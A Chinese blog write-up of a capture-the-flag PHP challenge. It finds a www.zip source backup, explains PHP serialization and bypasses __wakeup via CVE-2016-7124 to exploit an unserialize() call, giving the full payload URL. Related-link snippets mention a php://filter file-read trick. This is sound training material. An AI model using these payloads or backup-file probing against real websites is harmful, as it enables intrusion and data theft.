进入后提示我们网页有备份文件,这边使用爆破工具,网页会down掉



随便随便猜了一下www.zip,成功下载源码

常见的网页备份有

.git
~
.swp .swo
.bak
.zip

还不知道是什么题目,解压www.zip



发现一些文件,挨个查看,首先查看flag.php,可以并没有flag

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

查看index.php源码

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body> <div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>

在后半部分中,可以看到使用$_GET方法获取了select传参,并对select传参进行了unserialize()函数,这边研究了一下简单的反序列化。

什么是反序列化呢?

为了PHP中,数据类的传输,采用了序列化方式传输;

序列化就是将一个类或者方法或者字符串转换为一段有规律的字符串,然后反序列化就是将这段字符串再次转换为类或者方法。

可以看一个示例:



注意这里分序列化后的字符串

O:4:"Name":2:{s:8:"username";s:8:"Junglezt";s:14:"Namepassword";s:3:"226";}
O 代表是一个对象
4 对象名称的长度为4
"Name" 对象的名称 2 一共有两个属性 s 该属性名为字符串类型
8 该属性名的长度为8
"username" 该属性名的内容
s 该属性值为字符串类型
8 该属性值得长度为8
"Junglezt" 该属性值得内容 s 该属性名为字符串类型
14 该属性名的长度为14
"Namepassword" 该属性名的内容 这里需要注意:指定的长度为14,但是这里Namepassword一共12个字符,因为private的特性会类名左右加入%00,%00为特殊编码,在浏览器中显示不出来。
s 该属性值为字符串类型
3 该属性值得长度为3
"226" 该属性值内容

这边简单了解了一下反序列化

回过来,继续查看class.php

<?php
include 'flag.php'; // 关闭所有报错报告
error_reporting(0); // 定义一个类 Name
class Name{
// 定义私有值(private) username 和 password
// 私有值在序列化时,会在类名左右加入%00
private $username = 'nonono';
private $password = 'yesyes'; // 使用一个魔术方法 __construct
// __construct 在对象被 new 时会触发
// 被 new 时,将默认的username和password替换
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} // 使用一个魔术方法 __wakeup()
// 在被反序列化时将 username值改为 guest
function __wakeup(){
$this->username = 'guest';
} // __destruct在对象被销毁,程序结束时执行
function __destruct(){
// password等于100,否则会结束执行
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
// 如果 username==admin,就打印flag
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

这里简单分析了一下代码,只有password=100还有username=admin的时候才可以得到flag。不过这里有好有坏。

好的是可以通过__construct魔术方法,在实例化对象的时候,更改username和password的值,但这里wakeup坏了我们的好事,

__wakeup魔术方法在反序列化的时候会将useranme的值改为guest,这样就获取不到flag,password并不会修改。

所以这里如何绕过__wakeup 函数呢?

看了大佬的文档,__wakeup魔术方法存在一个漏洞,代号为:CVE-2016-7124

将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。条件:PHP5 < 5.6.25,PHP7 < 7.0.10,或者PHP 7.3.4

这样就可以绕过__wakeup魔术方法的执行,这就试试

首选我们需要定义一个和题目中一样的类型,然后其中的值也是私有类型,并且变量名也一样,改为可以得到flag的值username=admin 、 password=100,代码如下

<?php 

class Name{
private $username="admin";
private $password="100";
}
$new = new Name(); $ser = serialize($new);
echo $ser;
?>



复制上述获取的序列化字符串

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

这里是不对的,需要手动加上%00,为了绕过__wakeup,将成员符改为3,默认为2,两个属性。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

payload为

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

提交得到flag



收获:

反序列化的简单概念
private 私有方法,在进行序列化时会在属性名中加入类名,并且类名左右会有%00特殊字符
__wakeup 魔术方法在反序列化时执行,(成员符大于默认值时可以绕过__wakeup魔术方法)
__construct 魔术方法在对象被new(实例化)时执行
__destruct 魔术方法在对象被销毁,程序结束时执行

[极客大挑战 2019]PHP 1的更多相关文章

  1. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  2. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  3. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  4. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  5. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  6. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  7. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  8. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

  9. [极客大挑战 2019]HardSQL

    0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...

  10. [极客大挑战 2019]Upload

    0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: ...

随机推荐

  1. 7.golang语言学习,标识符的命名规范

    1.凡是自己可以命名的都是标识符 2.命名规则 a.由26个英文字母,数字0-9,_组成 b.不能数字开头 c.严格区分大小写 d.不能包含空格 e.下划线"_"本身在go中是一个 ...

  2. Ubuntu20.04上用tmux管理新进程

    sudo apt-get install tmux 安装tmux tmux new -s session_name 新开一个会话 tmux a -t session_name 查看指定会话 tmux ...

  3. ping 请求找不到主机 www.baidu.com

    1.以管理员方式运行cmd 2.输入netsh winsock reset 3.重启电脑 4.如果还是不行,就删除C:\Windows\System32\drivers\etc里面的hosts文件试试 ...

  4. Echarts xAxis、yAxis

    2017年08月06日 09:10:12 数据架构师 阅读数:37641更多 所属专栏: Echarts数据可视化    版权声明:本文为博主原创文章,转载请注明来源.开发合作联系82548597@q ...

  5. jeecg 导出加批注

    public static void main(String[] args) throws IOException { // 创建工作簿对象 XSSFWorkbook wb = new XSSFWor ...

  6. Ajax同步和异步的区别,如何解决跨域的问题

    同步的概念应该是来自于OS中关于同步的概念:不同进程为协同完成某项工作而在先后次序上调整(通过阻塞,唤醒等方式),同步强调的是顺序性,谁先谁后,异步则不存在这种顺序性. 同步:浏览器访问服务器请求,用 ...

  7. UNIT ONE

    一.机器语言 1.机器指令         0与1构成 2.机器可以直接执行 二.汇编语言 1.汇编指令       要翻译成机器指令,机器才可以运行 2.给人看的,主要是人看得懂 VS 机器.汇编. ...

  8. 24 Django模块的导入--常用总结

    常用模块导入 1 forms # forms组件的使用 from django import forms 2 ValidationError # modelform报错时使用 from django. ...

  9. AX2012 data() 和 buf2buf()的区别

    data() 和 buf2buf()都是AX2012 里面可以选择使用的数据拷贝函数.不同的是data会拷贝原始记录里面的所有字段,包括系统字段(公司,创建人等).而buf2buf在拷贝数据时则不会拷 ...

  10. vue 添加多条数据 添加日期

    效果图添加多条数据,日期是具体到天. 后端数据格式time:[ { s_time:' ' , e_time: ' ' }] <p v-for="(item,index) in form ...